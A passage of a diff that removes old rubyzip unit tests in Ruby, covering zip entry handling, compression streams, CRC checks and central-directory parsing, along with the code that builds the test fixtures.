zfRead.close - end - - def test_replaceNonEntry - entryToReplace = "nonExistingEntryname" - ZipFile.open(TEST_ZIP.zipName) { - |zf| - assert_exception(ZipNoSuchEntryError) { - zf.replace(entryToReplace, "ziptest.rb") - } - } - end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. -#!/usr/bin/env ruby - -$VERBOSE = true - -require 'rubyunit' -require 'zip' - -include Zip - -Dir.chdir "test" - -class AbstractInputStreamTest < RUNIT::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produceInput - read(100) - end - - def inputFinished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equals(TEST_LINES[0], @io.gets) - assert_equals(TEST_LINES[1], @io.gets) - assert_equals(TEST_LINES[2], @io.gets) - assert_equals(nil, @io.gets) - end - - def test_getsMultiCharSeperator - assert_equals("Hell", @io.gets("ll")) - assert_equals("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equals(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equals(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class ZipEntryTest < RUNIT::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equals(TEST_COMMENT, entry.comment) - assert_equals(TEST_COMPRESSED_SIZE, entry.compressedSize) - assert_equals(TEST_CRC, entry.crc) - assert_equals(TEST_EXTRA, entry.extra) - assert_equals(TEST_COMPRESSIONMETHOD, entry.compressionMethod) - assert_equals(TEST_NAME, entry.name) - assert_equals(TEST_SIZE, entry.size) - assert_equals(TEST_ISDIRECTORY, entry.isDirectory) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equals(entry1, entry1) - assert_equals(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < RUNIT::TestCase - def test_readLocalEntryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zipName) { - |file| - entry = ZipEntry.readLocalEntry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressedSize) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equal(TestZipFile::TEST_ZIP3.entryNames[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entryNames[0]), entry.size) - assert(! entry.isDirectory) - } - end - - def test_readLocalEntryFromNonZipFile - File.open("ziptest.rb") { - |file| - assert_equals(nil, ZipEntry.readLocalEntry(file)) - } - end - - def test_readLocalEntryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zipName) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.readLocalEntry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - writeToFile("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = readFromFile("localEntryHeader.bin", "centralEntryHeader.bin") - compareLocalEntryHeaders(entry, entryReadLocal) - compareCDirEntryHeaders(entry, entryReadCentral) - end - - private - def compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.compressedSize , entry2.compressedSize) - assert_equals(entry1.crc , entry2.crc) - assert_equals(entry1.extra , entry2.extra) - assert_equals(entry1.compressionMethod, entry2.compressionMethod) - assert_equals(entry1.name , entry2.name) - assert_equals(entry1.size , entry2.size) - assert_equals(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compareCDirEntryHeaders(entry1, entry2) - compareLocalEntryHeaders(entry1, entry2) - assert_equals(entry1.comment, entry2.comment) - end - - def writeToFile(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.writeLocalEntry(f) } - File.open(centralFileName, "wb") { |f| entry.writeCDirEntry(f) } - end - - def readFromFile(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.readLocalEntry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.readCDirEntry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText and @decompressor - - def test_readEverything - assert_equals(@refText, @decompressor.read) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.read(chunkSize)) - assert_equals(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equals(0, @refText.size) - end -end - -class InflaterTest < RUNIT::TestCase - include DecompressorTests - - def setup - @file = File.new("file1.txt.deflatedData", "rb") - @refText="" - File.open("file1.txt") { |f| @refText = f.read } - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < RUNIT::TestCase - include DecompressorTests - TEST_FILE="file1.txt" - def setup - @file = File.new(TEST_FILE) - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assertNextEntry(filename, zis) - assertEntry(filename, zis, zis.getNextEntry.name) - end - - def assertEntry(filename, zis, entryName) - assert_equals(filename, entryName) - assertEntryContentsForStream(filename, zis, entryName) - end - - def assertEntryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if (expected.length > 400 || actual.length > 400) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |file| file << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equals(expected, actual) - end - end - } - end - - def AssertEntry.assertContents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (expected.length > 400 || actual.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equals(expected, actual) - end - end - end - - def assertStreamContents(zis, testZipFile) - assert(zis != nil) - testZipFile.entryNames.each { - |entryName| - assertNextEntry(entryName, zis) - } - assert_equals(nil, zis.getNextEntry) - end - - def assertTestZipContents(testZipFile) - ZipInputStream.open(testZipFile.zipName) { - |zis| - assertStreamContents(zis, testZipFile) - } - end - - def assertEntryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.getInputStream(entryName) - assertEntryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < RUNIT::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) - assertStreamContents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zipName) { - |zis| - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[0], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[1], entry.name) - assert_equals(0, entry.size) - assert_equals(nil, zis.gets) - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[2], entry.name) - assert zis.gets.length > 0 - entry = zis.getNextEntry - assert_equals(TestZipFile::TEST_ZIP2.entryNames[3], entry.name) - assert zis.gets.length > 0 - } - end - -end - -class TestFiles - RANDOM_ASCII_FILE1 = "randomAscii1.txt" - RANDOM_ASCII_FILE2 = "randomAscii2.txt" - RANDOM_ASCII_FILE3 = "randomAscii3.txt" - RANDOM_BINARY_FILE1 = "randomBinary1.bin" - RANDOM_BINARY_FILE2 = "randomBinary2.bin" - - EMPTY_TEST_DIR = "emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.createTestFiles(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - ASCII_TEST_FILES.each_with_index { - |filename, index| - createRandomAscii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - createRandomBinary(filename, 1E4 * (index+1)) - } - - ensureDir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.createRandomAscii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.createRandomBinary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand.to_a.pack("V") - end - } - end - - def TestFiles.ensureDir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zipName, :entryNames, :comment - - def initialize(zipName, entryNames, comment = "") - @zipName=zipName - @entryNames=entryNames - @comment = comment - end - - def TestZipFile.createTestZips(recreate) - files = Dir.entries(".") - if (recreate || - ! (files.index(TEST_ZIP1.zipName) && - files.index(TEST_ZIP2.zipName) && - files.index(TEST_ZIP3.zipName) && - files.index(TEST_ZIP4.zipName) && - files.index("empty.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} ziptest.rb") - raise "failed to remove entry from '#{TEST_ZIP1.zipName}'" unless - system("zip #{TEST_ZIP1.zipName} -d ziptest.rb") - - File.open("empty.txt", "w") {} - - File.open("short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("ziptest.rb") { |file| ziptestTxt=file.read } - File.open("longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand - end - } - raise "failed to create test zip '#{TEST_ZIP2.zipName}'" unless - system("zip #{TEST_ZIP2.zipName} #{TEST_ZIP2.entryNames.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zipName}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zipName}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zipName}'" unless - system("zip #{TEST_ZIP3.zipName} #{TEST_ZIP3.entryNames.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zipName}'" unless - system("zip #{TEST_ZIP4.zipName} #{TEST_ZIP4.entryNames.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("empty.zip", []) - TEST_ZIP2 = TestZipFile.new("4entry.zip", %w{ longAscii.txt empty.txt short.txt longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("test1.zip", %w{ file1.txt }) - TEST_ZIP4 = TestZipFile.new("zipWithDir.zip", [ "file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -class AbstractOutputStreamTest < RUNIT::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equals("a little string", @outputStream.buffer) - assert_equals("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equals("a little string. a little more", @outputStream.buffer) - assert_equals(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equals("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equals("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equals("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equals("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equals("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equals("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equals("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equals("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equals("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equals("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equals("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equals("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equals("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equals("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equals("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -module CrcTest - def runCrcTest(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = AbstractOutputStreamTest::TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equals(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < RUNIT::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equals(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equals(compressor.size, t1.size) - - compressor << t2 - assert_equals(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equals(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - runCrcTest(PassThruCompressor) - end -end - -class DeflaterTest < RUNIT::TestCase - include CrcTest - - def test_outputOperator - txt = loadFile("ziptest.rb") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equals(txt, inflatedTxt) - end - - private - def loadFile(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equals(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.read - } - end - - def test_crc - runCrcTest(Deflater) - end -end - -class ZipOutputStreamTest < RUNIT::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zipName = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zipName) - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - zos.close - assertTestZipContents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zipName) { - |zos| - zos.comment = TEST_ZIP.comment - writeTestZip(zos) - } - assertTestZipContents(TEST_ZIP) - end - - def test_writingToClosedStream - assertIOErrorInClosedStream { |zos| zos << "hello world" } - assertIOErrorInClosedStream { |zos| zos.puts "hello world" } - assertIOErrorInClosedStream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.type}") - end - end - - def assertIOErrorInClosedStream - assert_exception(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def writeTestZip(zos) - TEST_ZIP.entryNames.each { - |entryName| - zos.putNextEntry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compareEnumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, index| - return false unless yield(element, otherAsArray[index]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < RUNIT::TestCase - - def test_readFromStream - File.open("testDirectory.bin", "rb") { - |file| - entry = ZipEntry.readCDirEntry(file) - - assert_equals("longAscii.txt", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(106490, entry.size) - assert_equals(3784, entry.compressedSize) - assert_equals(0xfcd1799c, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("empty.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(0, entry.size) - assert_equals(0, entry.compressedSize) - assert_equals(0x0, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("short.txt", entry.name) - assert_equals(ZipEntry::STORED, entry.compressionMethod) - assert_equals(6, entry.size) - assert_equals(6, entry.compressedSize) - assert_equals(0xbb76fe69, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals("longBinary.bin", entry.name) - assert_equals(ZipEntry::DEFLATED, entry.compressionMethod) - assert_equals(1000024, entry.size) - assert_equals(70847, entry.compressedSize) - assert_equals(0x10da7d59, entry.crc) - assert_equals("", entry.comment) - - entry = ZipEntry.readCDirEntry(file) - assert_equals(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.readCDirEntry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - -class ZipCentralDirectoryTest < RUNIT::TestCase - - def test_readFromStream - File.open(TestZipFile::TEST_ZIP2.zipName, "rb") { - |zipFile| - cdir = ZipCentralDirectory.readFromStream(zipFile) - - assert_equals(TestZipFile::TEST_ZIP2.entryNames.size, cdir.size) - assert(cdir.compareEnumerables(TestZipFile::TEST_ZIP2.entryNames) { - |cdirEntry, testEntryName| - cdirEntry.name == testEntryName - }) - assert_equals(TestZipFile::TEST_ZIP2.comment, cdir.comment) - } - end - - def test_readFromInvalidStream - File.open("ziptest.rb", "rb") { - |zipFile| - cdir = ZipCentralDirectory.new - cdir.readFromStream(zipFile) - } - fail "ZipError expected!" - rescue ZipError - end - - def test_ReadFromTruncatedZipFile - fragment="" - File.open("testDirectory.bin") { |f| fragment = f.read } - fragment.slice!(12) # removed part of first cdir entry. eocd structure still complete - fragment.extend(IOizeString) - entry = ZipCentralDirectory.new - entry.readFromStream(fragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeToStream - entries = [ ZipEntry.new("file.zip", "flimse", "myComment", "somethingExtra"), - ZipEntry.new("file.zip", "secondEntryName"), - ZipEntry.new("file.zip", "lastEntry.txt", "Has a comment too") ] - 